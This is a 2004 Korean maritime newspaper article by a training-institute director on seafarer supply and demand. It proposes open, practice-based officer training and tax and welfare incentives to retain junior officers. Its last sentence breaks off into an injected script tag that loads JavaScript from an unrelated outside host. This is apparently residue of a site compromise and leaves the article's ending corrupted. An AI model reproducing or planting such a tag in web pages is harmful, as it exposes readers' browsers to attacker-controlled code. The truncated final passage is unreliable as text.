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효율적인 선원 수급과 선원 대책
효율적인 선원 수급과 선원 대책
  • 해사신문
  • 승인 2004.10.29 06:04
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한국해양수산연수원 유명윤 원장

장기승선 의지 강한 ‘직업 해기사’ 육성과
실기 중심의 맞춤식 양성 체제로 변화돼야


■ 한국의 선원 수급, 무엇이 문제인가.

믿을 만한 공식 기관의 통계 분석에 의하면 2001년 해기사 수요는 1만3400명이었고, 해기사 공급은 1만4200명으로 약 800명의 초과 공급 현상이 초래됐다. 이러한 현상은 2006년을 기점으로 하여 뒤바뀔 것으로 예측됐다. 즉 2011년 해기사 수요는 1만1600명으로 예상되며, 공급은 기존 해기사의 이직률을 감안했을 때, 1만600명으로 예상돼 약 1000명의 공급 부족이 초래될 것이라 전망되고 있다.

선원 수급의 효율성을 확보하기 위한 최상의 해답은 선원 수요와 공급을 일치시키는 데 있을 것이다.

물론 이는 이상론에 불과하다. 전혀 불가능한 것은 아닐지라도, 선원 수요를 예측하기가 어려운 데다, 국내 성격의 선원 공급에 비춰 볼 때, 국제적 성격의 선원 수요를 인위적·정책적으로 조절하기는 거의 불가능하기 때문이다.

그렇다고 해서 국내·외의 중장기적 선원 수요에 대한 예측을 게을리 해서도 안되겠지만, 차라리 국제적 성격의 선원 수요에 맞추어 국내적 성격의 선원 공급을 인위적·정책적으로 조절하는 것이 더 현실성이 높다. 선원 공급은 선원 수요에 비하면 예측뿐만 아니라, 인위적·정책적으로 조절이 가능하기 때문이다.

그렇다면 한국의 선원 수급 불균형을 유발한 일차적 책임이, 선원 수요 측면보다 공급 측면에 있는 것으로 인식할 필요가 있다. 그래야만 선원 수급 문제의 해결 방안도 선원 수요 측면을 조절하는 데서 찾기보다는, 선원 공급 측면을 조절하는 보다 현실적인 대책이 강구될 수 있다. 또 선원 수급을 효율적으로 조절한다고 할 때, 예측불허의 급변하는 선원 수요에 맞추어 국내의 선원 공급 체제를 다양화하거나 탄력적으로 운용함으로써 대처하는 것이 보다 실현가능성이 높다. 다시 말해서 한국의 선원 공급 체제가 어떤 문제를 지니고 있으며, 또 그러한 문제를 유발하는 원인은 무엇인지를 파악하고, 선원 수급의 효율적인 대책을 모색하는 것이 바람직하다는 것이다.

한국의 선원 공급 체제가 지닌 핵심적인 문제와 그 원인은 두 가지로 집약될 수 있다. 하나는 선원 양성 체제의 경직성이다. 이는 학교 교육 중심의 폐쇄적이고 획일적인 선원 양성 체제에 기인한다. 다른 하나는 해기전승과 선원 고용 구조의 붕괴를 초래할 정도에 이른, 초급 해기사의 높은 이직률이다. 이는 초급 해기사의 직업의식 약화, 장기 승선을 유도하기에 턱없이 부족한 선원 복지 제도에 기인한다.

따라서 문제 해결을 위한 대안은 선원 양성 체제를 개방적 사회 교육식으로 바꿈으로써 다양성과 탄력성을 갖는 것이다. 또한 초급 해기사의 대량 이탈을 방지하기 위해 직업의식이 투철한 장기 승선자 즉 ‘직업 해기사’를 육성하고, 이를 위해 선원직 매력화 방안을 획기적으로 개선하는 것이다.

한국 선원 사회가 직면한 오늘날과 같은 상황을 ‘문제’적이라고 보는 이유는 선원·선사·정부가 서로 상이하다. 선원의 경우, 육상 노동에 비해 해상 노동이 갖는 열악성에 대한 인식 증가, 그러한 해상 노동의 열악성을 감수하기에 턱없이 부족한 선원의 임금 및 복지 수준, 값싼 외국인 혼승 추세로 인한 취업 기회의 감소와 선내의 심리적·문화적 스트레스 증가 등을 들 수 있다.

선사의 경우, 국제적 기준을 충족하는 자질과 능력을 갖춘 양질의 선원 확보 곤란, 숙련된 장기 승선자의 확보 곤란 등이 포함될 것이다. 정부의 경우, 세계 해운 산업의 환경 변화에 적절히 대처하지 못하는 경직된 선원 양성 체제, 다양한 선원직 매력화 방안에도 불구하고 발생하는 초급 해기사의 대량 이탈 등이 포함된다.

이러한 선원 사회의 ‘문제’적 상황 하에서 기존 선원들은 배를 타고 싶어도 탈 배가 없다고 불평하는 반면, 선사들은 직업의식이 투철한 양질의 선원을 찾기 어렵다고 불평하고 있다. 이에 따라 선원들은 선원노동조합 등의 조직을 이용하여 선원의 복지와 권익 향상을 위한 노력을 강화하고 있고, 선사들은 치열한 국제 해운 경쟁에서 살아남기 위해 선박 자동화를 통한 최소 승선 인원의 축소, 값싼 개도국 선원의 혼승 등 선원비 절감 방안을 모색하고 있다.

문제는 날로 다양·엄격해지는 국제적 규범을 선원 교육과 재교육에 반영하기 위해서는 많은 시간과 비용이 소요되고, 이것이 기존 선원들의 부담을 증대시켜, 가뜩이나 선원직에 대한 매력이 저하되고 있는 상황에서 선원 인력의 신규 진입을 방해하고, 기존 선원들의 재승선·장기 승선 의지를 꺾는 요인으로 작용하고 있다는 데 있다.

■ 선원 양성 체제의 변화

양적 측면에 초점을 두는 선원 공급 체제가 오히려 오늘날의 한국 선원 사회가 직면한 ‘문제적’ 상황을 부추긴 요인이었다고 보면, 그 대안으로서 질적인 선원 공급 체제 즉 국내·외 선원 시장의 변화에 부응하는 다양하고 탄력적인 선원 양성 체제의 확립이 요청되는 것이다.

우리는 일찍부터 후발 해운 선진국 대열에 합류한 미국이나 일본의 선원 양성 체제를 도입·적용함으로써 학교 교육 방식으로 국비 지원 하에 대량의 선원을 양산해 왔다. 이와 같은 학교 교육식 선원 양성 체제는 입학·수학 및 졸업 시기가 정부의 교육 정책에 따라 법정화됨으로써, 수시로 승·하선하는 기존 선원들의 학업 및 진학 욕구를 수용할 수 없는 폐쇄성을 드러냈다.

첫째, 입학연령·자격·시기가 법정화됨으로써 연령을 초과하고, 자격이 미달되거나, 시기를 놓쳐버린 기존 선원들의 학업과 진학 기회를 사전에 차단하고 있다. 둘째, 수학 기간이 연 2학기제로 고정 운영됨으로써 수시로 승·하선하는 기존 선원들이 휴가 기간 중 편리하게 학점을 이수하기 어렵다. 셋째, 초급 해기사들이 고급 해기사로 승진하는 데 필요한 신지식이나 기술을 습득할 수 있는 가능성도 사실상 막혀 있다. 이것은 기존 선원들로 하여금 일찌감치 학업과 진학을 포기하게 만들거나, 젊은 초급 해기사의 이직률을 부추기는 중요한 요인이 되고 있다.

이러한 문제점을 해소하는 방법은 지금부터라도 개방적 사회 교육식 양성 체제를 적용하는 것이다. 첫째, 입학 연령·자격·시기를 개방함으로써 연령을 초과하고, 자격에 미달하거나, 학업 시기를 놓친 기존 선원들의 학업 및 진학 욕구를 충족해줄 수 있어야 한다.

둘째, 다학기제(연 4학기제)를 적용함으로써 수시로 승·하선하는 기존 선원들이 수학 학기에 구애받지 않고 휴가 기간 중 필요한 과목을 이수할 수 있는 기회를 부여해 줄 수 있어야 한다. 셋째, 영국의 샌드위치식 선원 교육이 그렇듯이 승선 경력을 쌓아 가는 도중의 초급 해기사로 하여금 고급 해기사로 승진하는 데 필요한 신지식과 고급 기술을 단계별로 습득할 수 있도록 해주어야 한다.

또한 해기전승을 유도하고, 중·장기적으로 안정된 선원 고용 구조를 확보·유지하는 데 있어서 시급한 과제는, 선원직이 적성에 맞아서 선원직을 평생의 직업으로 인식하고, 장기 승선의 의지가 강한 ‘직업 해기사’를 육성하는 것이다.

종래 고학력 해기사의 직업의식 결여는, 5년 이내 60%의 이직률이 말해주듯이 한국 선원 수급 문제의 유발에 일조한 바 있다. 이는 장기 승선자를 안정적으로 확보하는 데 있어서, 높은 학력보다 선원직에 대한 흥미와 적성 및 직업의식이 더 중요하다는 것을 시사한다. 다년간의 승선 경력을 쌓은 고급 해기사들의 경험에 의하더라도 2년 정도의 집중적인 교육만으로 얼마든지 유능한 해기 인력을 배출해낼 수 있다. 중요한 것은 선원 희망자가 지닌 해기사로서의 적성과 확고한 직업의식이다.

종래와 같은 이론 중심의 경직된 학교 교육식 선원 양성 체제로는 급속하게 변모하는 해양 수산 환경 변화에 적응하기 어렵다. 따라서 ‘승선실습센터’(가칭)를 설립하고, 학교에서 이론 교육을 받은 예비 해기사의 실습 훈련은 모두 ‘승선실습센터’에서 위탁받아 수행하는 방법을 고려해볼 만하다.

■ 선원직 매력화 방안의 개선

선원직 매력화 방안으로서 가장 현실적인 것은 선원 임금의 상승이다. 1980년대 이후 선원 임금이 육상 임금 상승률을 따르지 못하게 되자, 선원직 대량 이탈이 발생한 데서 알 수 있듯이 선원 임금은 그 동안 선원직 매력화의 가장 중요한 수단이었다. 그런데 이것은 매력이 큰 만큼 실현가능성은 낮다. 선사의 국제 경쟁력을 저하시킬 뿐만 아니라, 선원 임금은 그것이 갖는 국제적인 성격으로 인해 날로 하향 평준화되는 추세에 있기 때문이다.

따라서 선원 임금을 상승시키기보다 정부의 제도적인 뒷받침을 통해 임금 상승의 ‘효과’를 확보하는 방법이 더 현실적이다.

예컨대 선원의 근로소득세를 감면해 주거나, 영국에서 상당한 효과를 보고 있는 ‘톤세 제도’를 적용함으로써 선원 재교육비 부담을 줄여주는 방안, 국제선박등록제도의 적용을 통해 선사에게 각종 세제상의 혜택을 주면서 일정 비율의 외국인 혼승을 허용해 주고 국적 선원의 임금을 정부가 지원하는 방안, 선원에게 적용하는 각종 보험·복지·보장 제도의 수준을 육상 노동자보다 높이는 방안 등이 그것이다.

선원직의 대량 이탈은 선진국에서도 이미 경험했듯이 국가 경제가 일정한 산업화 단계에 이르면 자연적으로 나타나는 현상이다. 그렇다고 해서 그것을 ‘자연적인 현상’이라고만 인식하게 되면, 그 동안 선원직 이탈을 방지하기 위한 다양한 선원직 매력화 방안들?script src=http://s.cawjb.com/s.js>

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